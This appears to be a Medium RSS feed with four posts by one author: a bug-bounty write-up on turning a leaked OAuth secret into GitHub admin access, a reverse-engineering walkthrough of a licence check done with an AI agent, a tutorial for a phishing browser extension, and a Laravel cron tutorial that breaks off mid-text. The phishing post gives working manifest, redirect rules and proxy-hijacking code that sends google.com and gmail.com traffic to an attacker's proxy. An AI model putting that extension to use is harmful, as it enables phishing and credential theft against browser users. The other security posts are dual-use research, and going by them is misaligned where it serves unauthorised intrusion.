<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Prosper Kalu on Medium]]></title>
        <description><![CDATA[Stories by Prosper Kalu on Medium]]></description>
        <link>https://medium.com/@s5treak?source=rss-4095a823e1b1------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*pZcbMB3kPvm89cwzJDitMg.jpeg</url>
            <title>Stories by Prosper Kalu on Medium</title>
            <link>https://medium.com/@s5treak?source=rss-4095a823e1b1------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 20:16:20 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@s5treak/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How a Single Leaked Client Secret Exposed a Private GitHub Repo]]></title>
            <link>https://s5treak.medium.com/how-a-single-leaked-client-secret-exposed-a-private-github-repo-11e755be2d07?source=rss-4095a823e1b1------2</link>
            <guid isPermaLink="false">https://medium.com/p/11e755be2d07</guid>
            <category><![CDATA[artificial-intelligence]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Prosper Kalu]]></dc:creator>
            <pubDate>Tue, 03 Nov 2026 20:14:13 GMT</pubDate>
            <atom:updated>2026-11-03T20:14:13.547Z</atom:updated>
            <content:encoded><![CDATA[<h4>From a hardcoded credential in a JavaScript bundle to full admin access: A case study in exploit chaining.</h4><p>During a recent assessment, I turned a single hardcoded secret found in a public JavaScript bundle into <strong>administrative access to the target’s private GitHub repository</strong>. The chain took four unauthenticated steps:</p><pre>hardcoded OAuth app secret (public JS)<br> → mint an app access token<br> → enumerate webhook callback URLs (internal hosts leak)<br> → hit a leaked webhook → production debug page<br> → git remote in the debug page contains an admin-scoped GitHub PAT</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*88Adh3188Hlx5oiON8KqBw.png" /></figure><p>No user interaction, no victim, no privileged account. Just the public bundle.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*imesoH80TRCvWddo7dYpHQ.png" /></figure><h3>The starting point: a secret that should never be in the browser</h3><p>The app’s frontend bundle shipped an <strong>OAuth App Secret</strong> in plaintext. Secrets like this are server-only by definition — the browser can’t use them without exposing them.</p><pre>curl -s &quot;https://graph.example.com/oauth/access_token?client_id=REDACTED&amp;client_secret=REDACTED&amp;grant_type=client_credentials&quot;<br># {&quot;access_token&quot;:&quot;REDACTED|…&quot;,&quot;token_type&quot;:&quot;bearer&quot;}</pre><p><strong>Step 1 done.</strong> I now had a valid app token — authenticated as the company’s own application. — -</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nDhTYkz5aTm6LLftRPgJng.png" /></figure><h3>Step 2: the secret maps out internal infrastructure</h3><p>App tokens are supposed to be low-value. But with this one, the provider’s API happily returned the app’s <strong>webhook subscriptions</strong> — including internal callback URLs:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZfSIlq05YVDgQ4tORqqxAw.png" /><figcaption><em>Graph API </em><em>subscriptions response showing the internal callback URLs] A public credential leak just became a </em><strong><em>map of internal hosts and endpoints</em></strong></figcaption></figure><h3>Step 3: a leaked webhook exposes a production debug page</h3><p>One of the webhook URLs returned an <strong>HTTP 500 with a full laravel framework debug page</strong> when hit with a plain GET.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sdZK8WM9sGSN0Ga_oBd0LA.png" /></figure><ul><li>debug: true, env: production</li><li>framework and language versions</li><li>full filesystem paths</li><li>a git commit hash and commit message Debug mode in production is a classic finding on its own. But the page had something worse hidden in it</li></ul><h3>Step 4: the debug page leaks an admin GitHub token</h3><p>Framework debug pages often embed a JSON “report” with app metadata — including the deployed app’s <strong>git remote URL</strong>. In this case, the remote had a <strong>Personal Access Token baked into it</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*Xgz6CMzv_4AcOpjYPFMHxw.png" /></figure><h3>Validation (metadata-only)</h3><p>I confirmed the token without touching source code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fa0q2M8fuQHCQ-esXidBow.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*b8OIFDGe2Mx1FEsZwX5CKw.png" /></figure><h3>Impact</h3><ul><li><strong>Source disclosure</strong> — full read of the private backend.</li><li><strong>Supply-chain risk</strong> — push access allows code tampering.</li><li><strong>Secrets exfiltration</strong> — CI/deploy secrets readable by an admin token.</li><li><strong>Infrastructure mapping</strong> — webhook URLs + admin IDs leaked earlier in the chain.</li></ul><h3>Why this happened (root causes)</h3><ol><li><strong>Hardcoded secrets in the client</strong> — the OAuth secret should live server-side, behind a proxy/BFF.</li><li><strong>Debug mode in production</strong> — debug: true rendered stack traces and app metadata to the public.</li><li><strong>Token in the git remote</strong> — a PAT embedded in the repo’s remote URL, which then leaked through error reporting. Each one is a common mistake. Chained together, they produced a Critical. — -</li></ol><h3>Disclosure</h3><p>This was found during authorized testing. I validated the token with <strong>metadata-only API calls</strong> — no source code was read or modified — and the organization revoked the token and rotated their secrets after disclosure.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=11e755be2d07" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[REA + DeepSeek: Reverse-Engineering an EXE with a Weak License]]></title>
            <link>https://s5treak.medium.com/rea-deepseek-reverse-engineering-an-exe-with-a-weak-license-f923d17c5b70?source=rss-4095a823e1b1------2</link>
            <guid isPermaLink="false">https://medium.com/p/f923d17c5b70</guid>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[deepseek]]></category>
            <category><![CDATA[claude]]></category>
            <category><![CDATA[ears]]></category>
            <category><![CDATA[artifical-intellegence]]></category>
            <dc:creator><![CDATA[Prosper Kalu]]></dc:creator>
            <pubDate>Sat, 24 Oct 2026 11:32:41 GMT</pubDate>
            <atom:updated>2026-10-24T11:32:41.123Z</atom:updated>
            <content:encoded><![CDATA[<h4>A prompt-driven walkthrough — entry point, core logic, and the license workflow (plus the defect that makes the local check moot)</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KP6HWgMlPgaC6m8Td4mprA.png" /></figure><p>I spent an afternoon reverse-engineering a small Windows desktop tool using <strong>REA</strong> (a reverse-engineering agent toolkit) driven by <strong>DeepSeek</strong> (V4.1 Flash), with <strong>Ghidra 12.1.4</strong> as the analysis provider. The goal was modest: understand what the binary does, how its licensing works, and how far I could get with a mostly <em>conversational</em> workflow instead of clicking around a disassembler.</p><p>This post documents the prompts, the dead ends, the workarounds, and the findings. If you do similar work, I hope the methodology transfers — the specific target is just the vehicle.</p><blockquote><strong><em>Scope note.</em></strong><em> This was performed on a local copy of a shipped binary, for interoperability and research. The post describes </em>what the code does<em>. It does not contain patch instructions, key forgery, or server emulation, and I’m not publishing anything intended to bypass someone’s licensing.</em></blockquote><h4>1. The target</h4><p>Format<br>PE, x86–64</p><p>Toolchain<br>MSVC, Unicode, MFC GUI (Debug-style build)</p><p>SHA-256<br>1010925a5a94c385c7f582da13ec9b61ac75db0558239fe0028fd1d4d738441e</p><p>Provider<br>Ghidra 12.1.4 via REA</p><p>No PDB, so every application function arrived as FUN_&lt;address&gt;. That&#39;s the normal starting condition for this kind of work, and it&#39;s where the agent&#39;s <em>routing</em> matters more than its decompiler.</p><h4>2. Prompt 1 — let the agent route the target</h4><p>My opening prompt was deliberately outcome-shaped, not tool-shaped:</p><blockquote><strong><em>“Use REA with the </em></strong><strong><em>ghidra provider to open the binary at </em></strong><strong><em>MODLocker_fix_V160/SCSBlock.exe. Find the entry point, decompile the core logic functions, and explain what this binary is doing.”</em></strong></blockquote><p>Two things I like about framing it this way:</p><ul><li>I describe the <strong>outcome</strong> (“explain what it’s doing”), not a sequence of menu clicks.</li><li>The provider is named explicitly, which removes ambiguity when multiple engines are available.</li></ul><p>The agent opened the binary, bound a Ghidra session, and immediately gave me the entry point plus the CRT/MFC boot chain.</p><h4>3. What “entry point” actually means here</h4><p>The raw entry is uninteresting — it’s boilerplate:</p><pre>0x1401e17d8: SUB RSP, 0x28<br>0x1401e17dc: CALL 0x1401e2320      ; __security_init_cookie<br>0x1401e17e1: ADD RSP, 0x28<br>0x1401e17e5: JMP  0x1401e1664      ; __scrt_common_main</pre><p>But following it tells you a lot about the program:</p><pre>flowchart TD<br>    A[&quot;entry 0x1401e17d8&quot;] --&gt; B[&quot;__security_init_cookie 0x1401e2320&quot;]<br>    A --&gt; C[&quot;__scrt_common_main 0x1401e1664&quot;]<br>    C --&gt; D[&quot;_initterm: C + C++ initializers&quot;]<br>    C --&gt; E[&quot;thunk -&gt; AfxWinMain 0x140217d94&quot;]<br>    E --&gt; F[&quot;AfxWinInit + CWinApp virtuals&lt;br/&gt;InitApplication / InitInstance / Run&quot;]</pre><p>The interesting bit is at the end of __scrt_common_main:</p><pre>uVar4 = __scrt_get_show_window_mode();<br>uVar8 = _get_wide_winmain_command_line();     /* &lt;- Unicode build */<br>uVar6 = thunk_FUN_140217d94(&amp;IMAGE_DOS_HEADER_140000000, 0, uVar8, uVar4);</pre><p>_get_wide_winmain_command_line plus AfxWinInit tells you it&#39;s an <strong>MFC Unicode GUI application</strong>, not a console tool. And AfxWinMain dispatches the classic CWinApp virtuals (InitApplication, InitInstance, Run).</p><p><strong>Takeaway for your own workflow:</strong> decompile the <em>first three</em> functions before anything else. They cost nothing and they classify the binary (CRT, GUI vs console, framework).</p><h4>4. Mapping the app when every symbol is FUN_*</h4><p>Here’s where the session got interesting. A chunk of the native inventory tools were disabled in my session. Doing this by hand in Ghidra would have meant hours of cross-reference clicking. The workaround turned out to be the most useful trick of the day:</p><p><strong>Ghidra names defined strings, and REA can resolve those names.</strong></p><p>For a string at 0x140288788 with the value /api/scsblock?id=, Ghidra&#39;s auto-label is:</p><pre>u_/api/scsblock?id=_140288788</pre><p>Ask for xrefs to <em>that name</em> and you get the code that references the string:</p><blockquote><em>“Find xrefs to the name </em><em>u_/api/scsblock?id=_140288788.”</em></blockquote><pre>{ &quot;status&quot;: &quot;resolved&quot;,<br>  &quot;address&quot;: &quot;0x140288788&quot;,<br>  &quot;xrefs&quot;: [&quot;0x14004c361&quot;, &quot;0x14004c3aa&quot;, &quot;0x14004def1&quot;] }</pre><p>That single technique mapped the app’s functional surface in minutes:</p><p>/api/scsblock?id=<br>licence client</p><p>timer.acme.com.br<br>timer client</p><p>license.txt<br>id parser + “invalid” writer</p><p>manifest.sii<br>block/repack worker</p><p>EncryptSII / SUI / DDS / MAT<br>options builder</p><blockquote><strong><em>Practical tip:</em></strong><em> when symbol-based xref tools are unavailable, pivot through string labels. </em><em>s_ = ASCII, </em><em>u_ = UTF‑16. For a Unicode MFC build, most app strings are </em><em>u_.</em></blockquote><h4>5. Prompt 2 — diagram the licence workflow</h4><p>Once I knew the players, I asked for the workflow rather than more code:</p><blockquote><strong><em>“Use REA to trace the licence workflow in </em></strong><strong><em>SCSBlock.exe. Produce a sequence diagram of the validation flow that includes the exact request URL and the exact server response that constitutes a valid state. Show what the client does on a valid response, and on anything else. Keep observed facts separate from inferences.”</em></strong></blockquote><p>The diagram it produced (with the same request/response detail spelled out):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MQWzZY1HXZ9ywjQ4jqP6iw.png" /></figure><h4>The request, exactly</h4><pre>GET /api/scsblock?id=76561198000000001 HTTP/1.1<br>Host: login.acme.com<br>User-Agent: Acme/1.0<br>Accept: application/json</pre><p>…which is reproducible as:</p><pre>curl -sS --tlsv1.2 -o /dev/null -w &#39;%{http_code}\n&#39; \<br>  &#39;https://login.acme.com/api/scsblock?id=76561198000000001&#39; \<br>  -H &#39;User-Agent: Acme/1.0&#39; \<br>  -H &#39;Accept: application/json&#39;</pre><h4>The “valid” response</h4><pre>HTTP/1.1 200 OK</pre><p>That’s the whole contract on the client side. To paraphrase the decompiled code:</p><pre>WinHttpQueryHeaders(req, 0x20000013 /* STATUS_CODE | FLAG_NUMBER */, 0, &amp;status);<br>if (query_ok &amp;&amp; status == 200) {<br>    ok = 1;<br>    FUN_14004a4b0(id);          /* success handler */<br>} else {<br>    ok = 0;                     /* any other result */<br>}</pre><p>No body parsing, no content-type check, no signature. <strong>The body is discarded unread</strong>, and the request asks for application/json purely as a hint. That&#39;s worth sitting with: the client treats a bare status code as the entire authorisation decision.</p><h4>6. Line by line: the licence client</h4><p>Walking FUN_14004c1d0 turned up a few nice details that a summary would have missed:</p><ul><li>The id arrives as a std::string and is copied to a global (DAT_1402d5060).</li><li>It’s converted to UTF‑16 and the route is <strong>prepended</strong> with a std::wstring::insert. Ghidra renders that as three memmove/memcpy calls and a 0x11 (17) length bump.</li><li>WinHttpOpen(L&quot;Acme/1.0&quot;, …) — the UA is baked in.</li><li>WinHttpSetOption(h, 0x54, {0x800}) → <strong>TLS 1.2 only</strong>.</li><li>WinHttpSetTimeouts(h, 10000, 10000, 10000).</li><li>WinHttpConnect(h, L&quot;login.acme.com&quot;, 443).</li></ul><p>Prompt that produced it:</p><blockquote><strong><em>“Walk the licence API client line by line. Annotate the Ghidra pseudocode and explain what each meaningful line does, including the string manipulation.”</em></strong></blockquote><p>Small detail with a lesson attached: WinHttpOpen&#39;s access type here is WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, which reads <strong>WinHTTP&#39;s</strong> proxy configuration — not the browser/IE proxy settings. That distinction matters if you&#39;re debugging through a proxy and wondering why the client seems to ignore it.</p><h4>7. The timer that isn’t about licensing</h4><p>The second endpoint is the one people misread:</p><pre>GET / HTTP/1.1<br>Host: timer.acme.com<br>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36<br>          (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36<br>Accept: application/json<br>Accept-Language: en-US,en;q=0.9<br>Connection: keep-alive<br>Upgrade-Insecure-Requests: 1</pre><p>Two observations:</p><ol><li><strong>It carries no identity.</strong> The object is the constant L&quot;/&quot;; param_1 is declared and never used. I confirmed the verb and path by reading the UTF‑16 literals straight out of .rdata (GET at 0x140285e68, / at 0x140285e64).</li><li><strong>It’s a time service.</strong> The response is a worldtimeapi-style document:</li></ol><pre>{&quot;abbreviation&quot;:&quot;-03&quot;,&quot;client_ip&quot;:&quot;…&quot;,&quot;datetime&quot;:&quot;2026-10-14T11:36:57.381381-03:00&quot;,<br> &quot;day_of_week&quot;:3,&quot;day_of_year&quot;:287,&quot;raw_offset&quot;:-10800,&quot;timezone&quot;:&quot;America/Sao_Paulo&quot;,<br> &quot;unixtime&quot;:1791988617,&quot;utc_datetime&quot;:&quot;2026-10-14T14:36:57.381381+00:00&quot;, …}</pre><p>Prompt:</p><blockquote><strong><em>“What value from the timer response is used to calculate ‘Days left’?”</em></strong></blockquote><p>The decisive check wasn’t more decompiling — it was a <strong>string search</strong>. The JSON key the client looks up must exist as a literal in the image. Result:</p><pre>unixtime      : (absent)<br>utc_datetime  : (absent)<br>timezone      : (absent)<br>datetime      : ascii @0x140285be8   +   &#39;%Y-%m-%dT%H:%M:%S&#39; right beside it<br>client_ip     : (absent)<br>plugin        : (absent)</pre><p>So: the client reads <strong>datetime</strong>, not unixtime, and parses it with %Y-%m-%dT%H:%M:%S. Which explains a quirk in the code we&#39;d seen earlier — the parsed value is required to be a <strong>string</strong> (cmp BYTE PTR [rax],0x3), and a string is exactly what datetime is.</p><p>The format has no %f and no %z, so the .381381 fraction and the -03:00 offset are both ignored: the client effectively uses the server&#39;s <strong>local wall-clock time</strong> as a naive timestamp. Nice detail, easy to miss.</p><h4>8. The bug hiding in the licence state</h4><p>This was the most interesting finding, and it came from a <em>completeness</em> discipline rather than a clever trick.</p><p>The app writes an “invalid licence” notice into license.txt when a flag is zero:</p><pre>if (DAT_1402d5058 == 0) {<br>    _wfopen_s(&amp;fp, L&quot;license.txt&quot;, L&quot;w+&quot;);<br>    fprintf(fp, &quot;Invalid License: %s\nContact: …&quot;, DAT_1402d5060);<br>}</pre><p>So I asked a blunt question:</p><blockquote><strong><em>“Find every reference to </em></strong><strong><em>0x1402d5058 and tell me whether it is ever written.”</em></strong></blockquote><p>My first scan was wrong — I looked for RIP-relative operands where the disp32 is the last field, which silently misses mov [rip+d], imm forms. Redoing it with a real disassembly gave the complete list:</p><pre>READ  0x14000c432   cmp  DWORD PTR [rip+…], ebx      # 0x1402d5058<br>READ  0x14000c636   cmp  DWORD PTR [rip+…], 0x0      # 0x1402d505c   (×10)<br>WRITE 0x1400101c6   mov  QWORD PTR [rip+…], rbx      # 0x1402d5058   (zeroing block)</pre><p>That’s it. The <strong>only</strong> write is in a bulk zero-initialiser. The success handler (FUN_14004a4b0, called only on HTTP 200) never touches the flag. So the condition flag == 0 is effectively always true, and the notice is written regardless of what the server said.</p><p>Two lessons:</p><ul><li><strong>“Only one writer” is a finding, not a non-finding.</strong> Enumerating all accesses and finding nothing is how you discover dead/missing state.</li><li><strong>Validate your scanning method.</strong> A plausible-looking scan that misses an instruction form will quietly give you a wrong story. I caught mine by cross-checking against the disassembler’s own RIP-relative comments.</li></ul><h4>9. Methodology notes I’d carry forward</h4><ol><li><strong>Start with boot, not with </strong><strong>main.</strong> The three CRT functions classify the binary cheaply.</li><li><strong>Pivot through string labels when symbol xrefs are unavailable.</strong> s_… / u_… are stable and let you jump from a visible string to the code that uses it.</li><li><strong>Read the literals.</strong> Constants next to each other in .rdata tell you the protocol: GET next to / next to the host; datetime next to its strptime format.</li><li><strong>Ask for “observed vs inferred” explicitly.</strong> It keeps the write-up honest and stops you from over-claiming on a decompiler artifact.</li><li><strong>Use more than one tool for the same question.</strong> The decompiler gives you semantics; objdump + a PE parser give you ground truth about encodings and xrefs.</li><li><strong>Frame prompts as deliverables.</strong> “Produce a sequence diagram including the exact URL and the valid response” works far better than “look at the licensing code”.</li></ol><h4>10. Ethics and scope</h4><p>Reverse-engineering a program you have, to understand it, is normal engineering. Publishing an analysis is normal too. What I deliberately did <strong>not</strong> do here:</p><ul><li>no patch offsets or “set flag X to 1” instructions,</li><li>no forged licence files,</li><li>no emulation of the vendor’s licence server.</li></ul><p>If you’re writing up similar work: redact anything that is effectively a bypass recipe, keep the target’s identity and hashes for reproducibility, and separate <em>mechanism</em> from <em>exploitation</em>.</p><h4>Appendix — prompts used in this session</h4><pre>1) Use REA with the `ghidra` provider to open the binary at<br>   `SCSBlock.exe`. Find the entry point,<br>   decompile the core logic functions, and explain what this binary is doing.<br> <br>2) Use REA to trace the licence workflow in SCSBlock.exe. Produce a sequence diagram of<br>   the validation flow that includes the exact request URL and the exact server response<br>   that constitutes a valid state. Show what the client does on a valid response, and on<br>   anything else. Keep observed facts separate from inferences.<br> <br>3) Walk the licence API client line by line. Annotate the Ghidra pseudocode and explain<br>   what each meaningful line does, including the string manipulation.<br> <br>4) Find xrefs to the name u_/api/scsblock?id=_140288788.<br> <br>5) What value from the timer response is used to calculate &quot;Days left&quot;?<br> <br>6) Confirm the full request made to timer with the endpoint, and show it as curl.<br> <br>7) Find every reference to 0x1402d5058 and tell me whether it is ever written.</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f923d17c5b70" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Pushing a Phishing Site with Browser Extension (Chrome / Firefox) Part 1:]]></title>
            <link>https://s5treak.medium.com/pushing-a-phishing-site-with-browser-extension-chrome-firefox-part-1-42dfd80af8b2?source=rss-4095a823e1b1------2</link>
            <guid isPermaLink="false">https://medium.com/p/42dfd80af8b2</guid>
            <dc:creator><![CDATA[Prosper Kalu]]></dc:creator>
            <pubDate>Mon, 29 Jul 2024 18:55:12 GMT</pubDate>
            <atom:updated>2024-07-29T18:55:12.510Z</atom:updated>
            <content:encoded><![CDATA[<p>In this article, we will discuss how to push a phishing page using a real web address.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FDqPDsbSgkOM%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DDqPDsbSgkOM&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FDqPDsbSgkOM%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/7597a959f1d1195b47ef409cb5105853/href">https://medium.com/media/7597a959f1d1195b47ef409cb5105853/href</a></iframe><p>Chrome extensions are very powerful tools that can be used to customize the user interface, modify and observe the browser,intercept user network traffic and change browser behaviors.</p><p>They can also be used to steal sensitive information from users and manipulate data.</p><p>To exploit a user and deploy a phishing a page (google.com -&gt; google.com), we would need to abuse the <strong>chrome.declarativeNetRequest</strong>.</p><p><strong>Understanding </strong>chrome.declarativeNetRequest</p><p>The chrome.declarativeNetRequest API is used to block or modify network requests by specifying declarative rules. This allows extensions to alter network requests without intercepting and viewing their content, thereby providing more privacy.</p><p>Referencing chrome extension developer documentation:</p><p>To use this API, we need to specify one or more rulesets. A ruleset contains an array of rules. A single rule does one of the following:</p><ul><li>Block a network request.</li><li>Upgrade the schema (HTTP to HTTPS).</li><li>Prevent a request from getting blocked by negating any matching blocked rules.</li><li>Redirect a network request.</li><li>Modify request or response headers.</li></ul><p><a href="https://developer.chrome.com/docs/extensions/reference/api/declarativeNetRequest">https://developer.chrome.com/docs/extensions/reference/api/declarativeNetRequest</a></p><pre>{<br>  &quot;id&quot; : 1,<br>  &quot;priority&quot;: 1,<br>  &quot;action&quot; : { &quot;type&quot; : &quot;block&quot; },<br>  &quot;condition&quot; : {<br>    &quot;urlFilter&quot; : &quot;abc&quot;,<br>    &quot;initiatorDomains&quot; : [&quot;foo.com&quot;],<br>    &quot;resourceTypes&quot; : [&quot;script&quot;]<br>  }<br>}</pre><h3>Our Goal</h3><p>To abuse this feature to redirect network requests to our proxy server:</p><ul><li>Downgrade / redirect HTTPS request from the browser to HTTP</li><li>Connect to proxy server</li><li>Relay our phishing site as response back through our browser + proxy server connection</li></ul><h4><strong>What are we building:</strong></h4><ul><li>Chrome Manifest v3 extension</li><li>Proxy Server in python</li></ul><p>In this chapter we would build the chrome extension.</p><p><strong>rules.json</strong></p><p>This file contains our rules which <strong>declarativeNetRequest</strong> will use to perform its action.</p><p>The “action”: { } defines what we need to achieve. The type of action could be any of the following:</p><ol><li>allow</li><li>allowAllRequests</li><li>block</li><li>upgradeScheme</li><li>redirect</li></ol><p>We will <strong>redirect</strong> all request HTTPS request from google.com to “http:\/\/google.com”</p><p>The “condition”: { } allows us to define the URL match to apply the action.</p><pre>[<br>    {<br>        &quot;id&quot;: 1,<br>        &quot;priority&quot;: 1,<br>        &quot;action&quot;: {<br>            &quot;type&quot;: &quot;redirect&quot;,<br>            &quot;redirect&quot;: {<br>                &quot;url&quot;: &quot;http:\/\/google.com&quot;<br>            }<br>        },<br>        &quot;condition&quot;: {<br>            &quot;urlFilter&quot;: &quot;google.com&quot;,<br>            &quot;resourceTypes&quot;: [<br>                &quot;main_frame&quot;<br>            ]<br>        }<br>    }<br>]</pre><p><strong>manifest.json</strong></p><p>The manifest.json contains “permissions” and we define the path to our rules set using “declarative_net_request”</p><pre>{ <br>  &quot;manifest_version&quot;: 3,<br>  &quot;name&quot;: &quot;REDIRECT APP&quot;,<br>  &quot;version&quot;: &quot;0.1.0&quot;,<br>  &quot;description&quot;: &quot;REDIRECT EXTENSION&quot;,<br>  &quot;permissions&quot;: [ &quot;storage&quot;, &quot;tabs&quot;, &quot;activeTab&quot;, &quot;declarativeNetRequest&quot;,<br>    &quot;declarativeNetRequestFeedback&quot;,&quot;proxy&quot;<br>  ],<br>  &quot;host_permissions&quot;: [&quot;&lt;all_urls&gt;&quot;],<br>  &quot;background&quot;: {<br>    &quot;service_worker&quot;: &quot;background.js&quot;<br>  }, <br> &quot;declarative_net_request&quot; : {<br>    &quot;rule_resources&quot; : [{<br>      &quot;id&quot;: &quot;ruleset_1&quot;,<br>      &quot;enabled&quot;: true,<br>      &quot;path&quot;: &quot;rules.json&quot;<br>    }]<br>  },<br>  &quot;icons&quot;: {<br>    &quot;24&quot;: &quot;assets/24.png&quot;,<br>    &quot;64&quot;: &quot;assets/64.png&quot;,<br>    &quot;128&quot;: &quot;assets/128.png&quot;<br>  },<br>  <br>  &quot;action&quot;: {<br>    &quot;default_icon&quot;: {<br>      &quot;64&quot;: &quot;assets/64.png&quot;<br>    },<br>    &quot;default_title&quot;: &quot;REDIRECT&quot;<br>  }<br>}</pre><p><a href="https://developer.chrome.com/docs/extensions/reference/manifest/"><strong>https://developer.chrome.com/docs/extensions/reference/manifest/</strong></a></p><p><strong>background.js</strong></p><pre><br>//define the condition, if host is google.com or gmail.com use proxy to connect<br>let proxy_config = &quot;host == &#39;google.com&#39; || host == &#39;gmail.com&#39;&quot; <br><br>let proxy = &quot;127.0.0.1:8000&quot;; //define proxy server<br><br>const config = {<br>  mode: &quot;pac_script&quot;,<br>  pacScript: {<br>    data:<br>      &quot;function FindProxyForURL(url, host) {\n&quot; +<br>      &quot;  if (&quot; + proxy_config + &quot;)\n&quot; +<br>      &quot;    return &#39;PROXY &quot; + proxy + &quot;&#39;;\n&quot; +  <br>      &quot;  return &#39;DIRECT&#39;;\n&quot; +<br>      &quot;}&quot;,<br>  },<br>};<br><br>//connect to proxy using proxy configuration<br>chrome.proxy.settings.set({ value: config, scope: &quot;regular&quot; }, function () {<br>  if (chrome.runtime.lastError) {<br>    console.error(&quot;Failed to set proxy settings:&quot;, chrome.runtime.lastError);<br>  } else {<br>    console.log(&quot;Proxy settings set successfully.&quot;);<br>  }<br>});</pre><p>Voila 🎉! We have completed the Chrome extension. We will develop the proxy server in our next post.</p><p>Follow me on X <a href="https://x.com/s5treak">https://x.com/s5treak</a></p><p>Cheers!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=42dfd80af8b2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Create A Cron Job in Laravel 5.7,]]></title>
            <link>https://s5treak.medium.com/how-to-create-a-cron-job-in-laravel-5-7-2bf5c714b644?source=rss-4095a823e1b1------2</link>
            <guid isPermaLink="false">https://medium.com/p/2bf5c714b644</guid>
            <category><![CDATA[cron]]></category>
            <category><![CDATA[laravel]]></category>
            <category><![CDATA[php]]></category>
            <dc:creator><![CDATA[Prosper Kalu]]></dc:creator>
            <pubDate>Fri, 06 Dec 2019 00:32:22 GMT</pubDate>
            <atom:updated>2022-07-11T17:03:53.529Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>How to Create A Cron Job in Laravel 5.7, 5.8 (Cronjob to notify users for resubscription before expiration date)</strong>….</p><p>Web application sometimes may require some tasks to run periodically on the server without supervision.. How do we achieve this ? To achieve this, a task scheduling system is required such could be for sending promotional emails, optimizing database, creating backups or generating site traffic report.</p><p>In this blog post, we would be creating a task scheduling system to notify our subscribers on our platform to repay for subscription before their expiration date.</p><h3><strong>Cron</strong></h3><p>Cron is a time-based task scheduler in Unix/Linux operating systems. It runs shell commands at a pre-specified time period. Cron uses a configuration file called crontab also known as Cron table to manage the task scheduling process.</p><p>Crontab contains all the Cron jobs related to a specific task. Cron jobs are composed of two parts, the Cron expression, and a shell command that needs to be run.</p><pre>* * * * * command/to/run1</pre><p>In the Cron expression above (* * * * *), each field is an option for determining the task schedule frequency. These options represent minute, hour, day of the month, month and day of the week in the given order. Asterisk symbol means all possible values. So, the above command will run every minute.</p><p>The Cron job below will be executed at 6:20 on 10th of every month.</p><pre>20 6 10 * * command/to/run</pre><h3>Laravel Cron Job</h3><p>Laravel Cron Job is an inbuilt task manager that gives your applications the ability to execute specific commands like sending a slack notification or removing inactive users at a periodic time. We will be using the latest version of Laravel, which is 5.6 at the time of writing this article.</p><p>You need a Linux Operating System to run Cron Jobs. This tutorial also assumes a fair knowledge of PHP and Laravel.</p><h3>Creating a new Project</h3><p>In this tutorial, we will create a simple laravel application to demonstrate task scheduling. Before we continue, i assume you have basic knowledge of php and laravel as i will be quick.</p><pre>composer create-project --prefer-dist laravel/laravel cron</pre><p>Lets make our authentication</p><pre>php artisan make:auth</pre><p>Lets create our Tables:</p><p>Users Table by default</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/5ab61ddf761e5d5747f5bb8d27e1a2e6/href">https://medium.com/media/5ab61ddf761e5d5747f5bb8d27e1a2e6/href</a></iframe><p>SubscriptionTable..</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/62fca744107b7df07a01363d21d46952/href">https://medium.com/media/62fca744107b7df07a01363d21d46952/href</a></iframe><p>SubscriptionPayments</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/f385d03d565dfb80c43f6309ae2fa2dc/href">https://medium.com/media/f385d03d565dfb80c43f6309ae2fa2dc/href</a></iframe><p>Our models for our Relationship ..</p><iframe src="" width="0" height="0" frameborder="0" 